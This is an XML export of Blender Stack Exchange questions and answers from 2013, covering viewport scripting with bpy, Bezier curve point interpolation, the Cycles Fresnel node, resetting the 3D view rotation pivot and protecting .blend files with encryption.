  <row Id="675" PostTypeId="2" ParentId="672" CreationDate="2013-06-06T02:10:05.400" Score="7" Body="&lt;p&gt;&lt;em&gt;No&lt;/em&gt;, for the same reasons ideasman42 said in his own answer. He suggests some workarounds however, here are mine..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case A:&lt;/strong&gt;&#xA;You can use &lt;a href=&quot;http://www.pasteall.org/blend&quot; rel=&quot;nofollow&quot;&gt;PasteAll.org&lt;/a&gt; &lt;em&gt;(which has natural support for blend files)&lt;/em&gt; to safely upload &lt;strong&gt;&lt;em&gt;and&lt;/em&gt;&lt;/strong&gt; password protect a &lt;code&gt;.blend&lt;/code&gt; file, you can then send the link and password to the customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case B:&lt;/strong&gt;&#xA;Easy enough, they could work in separate &lt;em&gt;personal&lt;/em&gt; files and merge them when ready. &lt;em&gt;Link/Append&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, you are better off using an actual software that provides encryption such as &lt;a href=&quot;http://www.7-zip.org/&quot; rel=&quot;nofollow&quot;&gt;7zip&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-06T12:43:33.123" LastActivityDate="2013-06-06T12:43:33.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="676" PostTypeId="2" ParentId="672" CreationDate="2013-06-06T02:21:24.783" Score="1" Body="&lt;p&gt;File locking is generally an operating system feature. Blender could try, but it won't work in all platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About encryption with a password, the compression and file format used by Blender is open, and they don't include encryption. You'll need a separate program to protect the file in such way. I think it can be done with an addon using some Python cryptography module, provided it can decrypt to an in-memory image and let Blender read from that, which I haven't seen an API call for (decrypting to temporary file to be loaded defeats the purpose).&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-06T02:28:58.147" LastActivityDate="2013-06-06T02:28:58.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="677" PostTypeId="2" ParentId="674" CreationDate="2013-06-06T02:21:41.607" Score="5" Body="&lt;p&gt;Hover over the menu items, the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;options/commands&lt;/a&gt; &lt;strong&gt;&lt;em&gt;are&lt;/em&gt;&lt;/strong&gt; there, Go to the &lt;em&gt;3d view&lt;/em&gt; header then &lt;em&gt;View&lt;/em&gt; → &lt;em&gt;Navigation&lt;/em&gt;. You can hover over a menu item and use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; to copy the command to your clipboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZImK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to pan to the right, you can use &lt;code&gt;bpy.ops.view3d.view_pan(type='PANRIGHT')&lt;/code&gt; and to zoom out you can use &lt;code&gt;bpy.ops.view3d.zoom(delta=-1)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you will be able to move very naturally however, &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; quite in the way you want to at least.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-06T02:42:45.367" LastActivityDate="2013-06-06T02:42:45.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="678" PostTypeId="2" ParentId="674" CreationDate="2013-06-06T06:45:52.383" Score="16" Body="&lt;p&gt;I would suggest not to call operators at all, these are rather cumbersome way to interact with the view, Instead manipulate the view directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you write an operator you can access the viewport like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v3d = context.space_data&#xA;rv3d = v3d.region_3d&#xA;rv3d.view_location.x += 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also want to treat the view as a 4x4 matrix since in some cases this is more convenient since you can multiply it with other matrices to combine transformations, accessible from the &lt;code&gt;view_matrix&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.RegionView3D.html#bpy.types.RegionView3D&quot; rel=&quot;nofollow noreferrer&quot;&gt;RegionView3D API docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get started you may want to try things out in the python console...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this you need to specify the absolute path to the 3D region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;Scripting&lt;/code&gt; screen layout you can run this from the console or editor...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rv3d = bpy.context.screen.areas[2].spaces[0].region_3d&#xA;rv3d.view_rotation.rotate(Euler((0, 0, 0.1)))&#xA;rv3d.view_location.x += 1.0&#xA;rv3d.view_distance -= 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We have a template of an operator that edits the view in the text editor &lt;code&gt;Operator Modal View3D&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-01-13T08:06:08.713" LastActivityDate="2017-01-13T08:06:08.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="679" PostTypeId="2" ParentId="671" CreationDate="2013-06-06T06:50:47.747" Score="9" Body="&lt;p&gt;In short: no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I imagine that one could work on such functionality again. There is a &lt;a href=&quot;http://verse.github.io/&quot;&gt;Verse 2&lt;/a&gt; being developed, with a better Python API. This could be a good next candidate, unfortunately this version is far from complete yet. Certainly an effort on the &lt;a href=&quot;https://svn.blender.org/svnroot/verse/trunk/&quot;&gt;current version of Verse&lt;/a&gt; could be started again.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="97" LastEditDate="2013-06-06T07:19:31.963" LastActivityDate="2013-06-06T07:19:31.963" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="680" PostTypeId="2" ParentId="605" CreationDate="2013-06-06T07:41:23.810" Score="7" Body="&lt;p&gt;As of yet it hasn't been implemented. Although there was no specific mention of improving the wireframe node, Thomas Dinges is working on some Cycles things this GSoC. I think it's just a matter of time before he, or another developer, gets to it.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-06-06T07:41:23.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="681" PostTypeId="2" ParentId="247" CreationDate="2013-06-06T10:28:01.277" Score="14" Body="&lt;p&gt;In addition to the good suggestions above, don't underestimate the impact of good textures. Even surfaces we consider to be &quot;one-colored&quot; and even, aren't. There are always small variations in the surface, either from wear-and-tear, dirt or just the material and manufacturing process in itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One classic trick is the &quot;orange-peel-effect&quot;, which simulates the small bumpiness of, for instance, an orange. It's easy to set up, and is basically a bump map that is packed very dense, but with a very low depth. &lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2013-06-06T10:28:01.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="684" PostTypeId="2" ParentId="638" CreationDate="2013-06-06T16:12:59.530" Score="9" Body="&lt;p&gt;Blender supports some physics simulation for rigid bodies, soft bodies, cloth and fluids. However these are not aimed at CAD applications, there are no tools to measure things like rotation speed and torque, and there is no guarantee that the simulation results will match the real world to some precision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you need to use specialised CAD/CAM software for this.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-06T16:12:59.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="685" PostTypeId="2" ParentId="611" CreationDate="2013-06-06T16:30:37.860" Score="5" Body="&lt;h1&gt;The Future&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Blender is currently missing a option to not twist the &quot;Bevel Object&quot;. I have now submitted a patch to the tracker for said feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://projects.blender.org/tracker/download.php/9/127/35667/25608/Twisting_None.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;a busy cat http://projects.blender.org/tracker/download.php/9/127/35667/25608/Twisting_None.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Options using the current version of Blender&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can do a extrude the curve using the Screw (with 0° angle) and Solidify modifiers (this'll only keep the axis's aligned for a 2D curve).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using NURBS:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create you cross section as a Surface curve.&lt;/li&gt;&#xA;&lt;li&gt;add a Clamp To constraint (found in the Properties window under Object Constraints), and add target curve object.&lt;/li&gt;&#xA;&lt;li&gt;Create instances of the surface &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;d&lt;/kbd&gt;&lt;kbd&gt;z&lt;/kbd&gt; and place the desired distance between segments. Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt; several times to repeat long the curve. &lt;img src=&quot;https://i.stack.imgur.com/6lCXp.png&quot; alt=&quot;duplicated surface curves&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all the surface curves and press &lt;kbd&gt;control&lt;/kbd&gt;+&lt;kbd&gt;j&lt;/kbd&gt; to join.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;tab&lt;/kbd&gt; into edit mode and press &lt;kbd&gt;f&lt;/kbd&gt; to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Modeling/Surfaces/Skinning&quot; rel=&quot;nofollow noreferrer&quot;&gt;skin&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively you can deform a mesh along the curve via a lattice eg:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First create our objects:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a Cube &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;, &lt;kbd&gt;m&lt;/kbd&gt;,&lt;kbd&gt;c&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a Lattice &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;, &lt;kbd&gt;l&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a Bezier Curve &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt;, &lt;kbd&gt;b&lt;/kbd&gt;, &lt;kbd&gt;c&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;With the Curve selected:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the &quot;Object Data&quot; Shape panel, enable &quot;Stretch&quot; and &quot;Bounds Clamp&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now select the lattice:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scale it to match the cube &lt;kbd&gt;s&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt;, &lt;kbd&gt;Return&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Object Data&quot; Lattice panel, set &quot;U&quot; to say 48, &quot;V&quot; and &quot;Z&quot; to 1.&lt;/li&gt;&#xA;&lt;li&gt;In &quot;Object Modifiers&quot; panel, add a Curve modifier and set the curve in the Object field.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the Cube, again in &quot;Object Modifiers&quot; panel:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a Subsurf modifier and click the simple button and set View: to 5 and optionally enable Optimal Display.&lt;/li&gt;&#xA;&lt;li&gt;And finally add a Lattice modifier and set the lattice in the Object field.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-06-14T06:44:19.407" LastActivityDate="2013-06-14T06:44:19.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="687" PostTypeId="2" ParentId="621" CreationDate="2013-06-06T17:45:35.270" Score="2" Body="&lt;p&gt;I have accepted ideasman42's solution as the way to go for the example that I gave. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness I am adding the solution that we are using for the exporter we am working on. This includes some additional complexity like replicating the &lt;code&gt;AttributeError&lt;/code&gt; where a group did not map to one of our bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional constraint that was not mentioned in the original question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All vertices must be weighted by at least one bone, select them to display to the user because we are nice people&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vert_list = {}&#xA;vert_norm = {}&#xA;unassigned_verts = []&#xA;&#xA;for bone_group in boneinfluences:&#xA;    b_list_weight = []&#xA;    b_vert_group = b_obj.vertex_groups[bone_group]&#xA;&#xA;    for b_vert in b_obj.data.vertices:&#xA;       if len(b_vert.groups) == 0: #check vert has weight_groups&#xA;           unassigned_verts.append(b_vert)&#xA;           continue&#xA;&#xA;       for g in b_vert.groups:&#xA;           if b_vert_group.name in boneinfluences:&#xA;               if g.group == b_vert_group.index:&#xA;                   b_list_weight.append((b_vert.index, g.weight))&#xA;                   break&#xA;&#xA;       vert_list[bone_group] = b_list_weight             &#xA;&#xA;   #create normalisation groupings&#xA;   for v in vert_list[bone_group]:&#xA;       if v[0] in vert_norm:&#xA;           vert_norm[v[0]] += v[1]&#xA;       else:&#xA;           vert_norm[v[0]] = v[1]&#xA;&#xA;   # vertices must be assigned at least one vertex group&#xA;   # lets be nice and display them for the user &#xA;   if len(unassigned_verts) &amp;gt; 0:&#xA;       for b_scene_obj in self.context.scene.objects:&#xA;           b_scene_obj.select = False&#xA;&#xA;           self.context.scene.objects.active = b_obj&#xA;           b_obj.select = True&#xA;&#xA;           # select unweighted vertices&#xA;           for v in mesh.vertices:&#xA;               v.select = False    &#xA;&#xA;           for b_vert in unassigned_verts:&#xA;               b_obj.data.vertices[b_vert.index].select = True&#xA;&#xA;           # switch to edit mode and raise exception&#xA;           bpy.ops.object.mode_set(mode='EDIT',toggle=False)&#xA;           raise NifExportError(&#xA;               &quot;Cannot export mesh with unweighted vertices.&quot;&#xA;               &quot; The unweighted vertices have been selected&quot;&#xA;               &quot; in the mesh so they can easily be&quot;&#xA;               &quot; identified.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastEditorUserId="47" LastEditDate="2013-07-02T07:58:04.297" LastActivityDate="2013-07-02T07:58:04.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="688" PostTypeId="1" AcceptedAnswerId="689" CreationDate="2013-06-06T18:46:48.743" Score="6" ViewCount="3936" Body="&lt;p&gt;I've used &lt;code&gt;mathutils.geometry.interpolate_bezier()&lt;/code&gt; in the past to create points for a curve using the bezier &lt;em&gt;handle&lt;/em&gt; and &lt;em&gt;knot&lt;/em&gt; coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from the docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;interpolate_bezier(knot1, handle1, handle2, knot2, resolution)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is; given an existing curve in the scene, is there a neat way to get at the points that describe the curve without converting it to a mesh, or figuring out which handle (left or right) to use for each spline point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curve = bpy.data.curves[0].splines[0]&#xA;curve.bezier_points[0].co&#xA;curve.bezier_points[0].handle_left&#xA;curve.bezier_points[0].handle_right&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-06T19:35:35.260" LastActivityDate="2014-10-21T18:24:14.747" Title="Getting the list of points that describe a Curve without converting to mesh" Tags="&lt;scripting&gt;&lt;python&gt;&lt;bezier-curves&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="689" PostTypeId="2" ParentId="688" CreationDate="2013-06-06T19:49:50.647" Score="8" Body="&lt;p&gt;The parameters can be found by taking the coordinate and right handle of a point, and the coordinate and left handle of the next point in the bezier points array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cyclic curves the last point and the first point in the array form an extra segment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;spline = bpy.data.curves[0].splines[0]&#xA;&#xA;if len(spline.bezier_points) &amp;gt;= 2:&#xA;    r = spline.resolution_u + 1&#xA;    segments = len(spline.bezier_points)&#xA;    if not spline.use_cyclic_u:&#xA;        segments -= 1&#xA;&#xA;    points = []&#xA;    for i in range(segments):&#xA;        inext = (i + 1) % len(spline.bezier_points)&#xA;&#xA;        knot1 = spline.bezier_points[i].co&#xA;        handle1 = spline.bezier_points[i].handle_right&#xA;        handle2 = spline.bezier_points[inext].handle_left&#xA;        knot2 = spline.bezier_points[inext].co&#xA;&#xA;        _points = mathutils.geometry.interpolate_bezier(knot1, handle1, handle2, knot2, r)&#xA;        points.extend(_points)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastEditorUserId="3153" LastEditDate="2014-10-21T18:24:14.747" LastActivityDate="2014-10-21T18:24:14.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="690" PostTypeId="2" ParentId="461" CreationDate="2013-06-06T19:53:38.637" Score="6" Body="&lt;p&gt;There is also the Python API for setting properties directly. Here's the example satishgoda used but without using a keyboard sensor, or a property actuator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic, events&#xA;&#xA;def set_property(cont):&#xA;    own = cont.owner&#xA;&#xA;    key_status = logic.keyboard.events[events.UPKEY] == logic.KX_INPUT_JUST_ACTIVATED&#xA;&#xA;    if not key_status:&#xA;        return&#xA;&#xA;    own['prop_name'] += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;own['prop_name'] += 1&lt;/code&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;own['prop_name'] = own.get(&quot;prop_name&quot;, 0) + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if it doesn't have the property by default, maintaining the same indentation as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the latest &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/contents.html&quot; rel=&quot;nofollow&quot;&gt;Python API&lt;/a&gt; for Blender. It will point to the most up-to-date version.&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="12" LastEditDate="2013-06-06T20:35:33.430" LastActivityDate="2013-06-06T20:35:33.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="692" PostTypeId="1" AcceptedAnswerId="695" CreationDate="2013-06-06T20:41:40.377" Score="15" ViewCount="11234" Body="&lt;p&gt;What does the Fresnel node (in cycles) do? I know that it kind of does rim selection(similar to rim lighting), but I'm not exactly sure what it's doing. I've seen it used in many tutorials, but I can't find any clear explanations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the explanation, and which situations make sense to use it?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-09-13T02:13:46.887" LastActivityDate="2013-09-13T02:13:46.887" Title="What does the Cycles Fresnel Node do?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="693" PostTypeId="2" ParentId="692" CreationDate="2013-06-06T21:20:18.500" Score="7" Body="&lt;p&gt;What it does is that it distinguishes between those areas that would be totally reflective with the given index of refraction and those that wouldn't, letting you tweak your shader accordingly. I assume you know what index of refraction is, if not you should read up on it on &lt;a href=&quot;http://en.wikipedia.org/wiki/Refractive_index&quot;&gt;wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most general cases you'd rather want to use the glass BSDF directly, but there are non-standard uses in which the fresnel value can be used for other purposes than to simulate translucent materials of differing density. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to recall someone using it to tweak a car paint shader once, but having read about that months ago I'm afraid I don't have the link at hand. Also months ago, also without a link to it, I recall someone creating an ice shader utilizing fresnel input. Both &lt;em&gt;SHOULD&lt;/em&gt; be in some thread over at &lt;a href=&quot;http://wwww.blenderartists.org/forum&quot;&gt;Blender Artists&lt;/a&gt; if you're curious enough to go looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short version: for advanced materials it's sometimes desirable to access the fresnel value outside of the default glass shader.&lt;/p&gt;&#xA;" OwnerUserId="102" LastEditorUserId="102" LastEditDate="2013-06-06T21:27:07.173" LastActivityDate="2013-06-06T21:27:07.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="694" PostTypeId="2" ParentId="561" CreationDate="2013-06-06T23:59:16.893" Score="0" Body="&lt;p&gt;What I do the most for this, is to simply model the shape of the hole and put that geometry in a specific layer (alone). Then, composite the alpha channel of that render layer and the video with the &quot;set alpha&quot; node and you get a hole in your video. Then you can composite, the cube you modeled for the hole, and the video with an &quot;alpha over&quot; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HtXOO.jpg&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="191" LastEditDate="2013-06-07T03:20:20.557" LastActivityDate="2013-06-07T03:20:20.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="695" PostTypeId="2" ParentId="692" CreationDate="2013-06-07T01:20:51.090" Score="21" Body="&lt;p&gt;The Fresnel node outputs which percentage of light would be reflected off a glossy layer, with the rest being refracted through the layer. The most common use is to mix between two BSDFs using it as a blending factor in a mix shader node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simple glass material you would mix between a glossy refraction and glossy reflection. At grazing angles more light will be reflected than refracted as happens in reality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a two layered material with a diffuse base and a glossy coating, you can use the same setup, mixing between a diffuse and glossy BSDF. By using the fresnel as blending factor you're specifying that any light which is refracted through the glossy coating layer would hit the diffuse base and be reflected off that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Cycles node it is assumed that this glossy layer is a simple dielectric material with an index of refraction. Different and more advanced Fresnel equations exist but are not currently implemented. More advanced layering models exist but fresnel mixing is a commonly used approximation.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-06-07T02:27:26.790" LastActivityDate="2013-06-07T02:27:26.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="696" PostTypeId="1" AcceptedAnswerId="743" CreationDate="2013-06-07T03:13:05.053" Score="63" ViewCount="153763" Body="&lt;p&gt;Sometimes the 3d view rotation using the 3rd mouse button starts to rotate around an unusual point that is not very convenient.  I don't know why it starts doing this, but it usually starts when I'm zoomed in on a detailed part of a model and persists even after I zoomed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the rotation style back and forth from trackball and turntable.  I've tried restarting Blender, but that doesn't really help.  My main solution to this problem has been to abandon working on the projects that this happens too, which only works because I've been lucky enough to have this happen only on projects that can be abandoned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this changing of the view rotation a common occurence?  Is there a way to reset the center of rotation for the 3d view?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2016-09-22T13:50:43.750" Title="How to reset the center of rotation of the 3d view when it is not the center of the view" Tags="&lt;3d-view&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="697" PostTypeId="2" ParentId="696" CreationDate="2013-06-07T03:18:48.980" Score="8" Body="&lt;p&gt;Since you say you tried switching the rotation modes and that didn't work &lt;em&gt;and&lt;/em&gt; your question title speaks about resetting the rotation to the center of the view, you probably more than likely hit the &lt;kbd&gt;.&lt;/kbd&gt; &lt;em&gt;(period key)&lt;/em&gt; by accident &lt;em&gt;(and your 3d cursor is elsewhere)&lt;/em&gt;, this rotates around the 3d cursor. Just press &lt;kbd&gt;,&lt;/kbd&gt; &lt;em&gt;(comma)&lt;/em&gt; to switch back to the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also say you &lt;em&gt;restarted&lt;/em&gt; and the problem still persists, could you have also accidentally saved this as the default? Several possibilities here as this sounds like a localized problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all fails, I suggest restoring the factory defaults by going to &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Load Factory Settings&lt;/em&gt;. Then once it has been reset, use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt; to save this as the new &lt;em&gt;fresh&lt;/em&gt; default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see possibly related&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/644/why-does-the-zoom-sometimes-stop-at-a-point&quot;&gt;Why does the zoom sometimes stop at a point?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/657/what-is-the-difference-between-the-trackball-and-turntable-style-view-modes/662#662&quot;&gt;What is the difference between the trackball and turntable style view modes?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/356/how-to-lock-the-view-to-prevent-rotation-of-the-view-camera&quot;&gt;How to lock the view to prevent rotation of the view camera?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/386/how-do-i-center-the-view-at-the-origin-without-moving-the-3d-cursor&quot;&gt;How do I center the view at the origin without moving the 3D cursor?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2013-06-07T16:48:06.967" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="698" PostTypeId="2" ParentId="696" CreationDate="2013-06-07T03:39:02.943" Score="4" Body="&lt;p&gt;Maybe setting Auto Depth, pictured below, can help. Per its tooltip, Auto Depth will &quot;use the depth under the mouse to improve view pan/rotate/zoom functionality.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fw4uk.png&quot; alt=&quot;Auto Depth&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit tricky on wireframes, but it really helped me controlling rotation pivot. Just put the mouse cursor above a surface (easier on a solid-displayed one) before rotating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to read the discussion about zooming in perspective mode, here: &lt;a href=&quot;https://blender.stackexchange.com/q/644/185&quot;&gt;Why does the zoom sometimes stop at a point?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2013-06-07T03:39:02.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="699" PostTypeId="1" AcceptedAnswerId="700" CreationDate="2013-06-07T04:27:59.253" Score="7" ViewCount="4401" Body="&lt;p&gt;Is there a way to vary the thickness and color of lines created by just edges and vertices?&lt;br&gt;&#xA;I realize that a face can be defined and then color and material applied, but is there any way to apply a color to the edges?&lt;/p&gt;&#xA;" OwnerUserId="236" LastEditorUserId="2217" LastEditDate="2014-12-15T16:51:28.343" LastActivityDate="2017-03-18T17:36:59.573" Title="edges with thickness and color" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
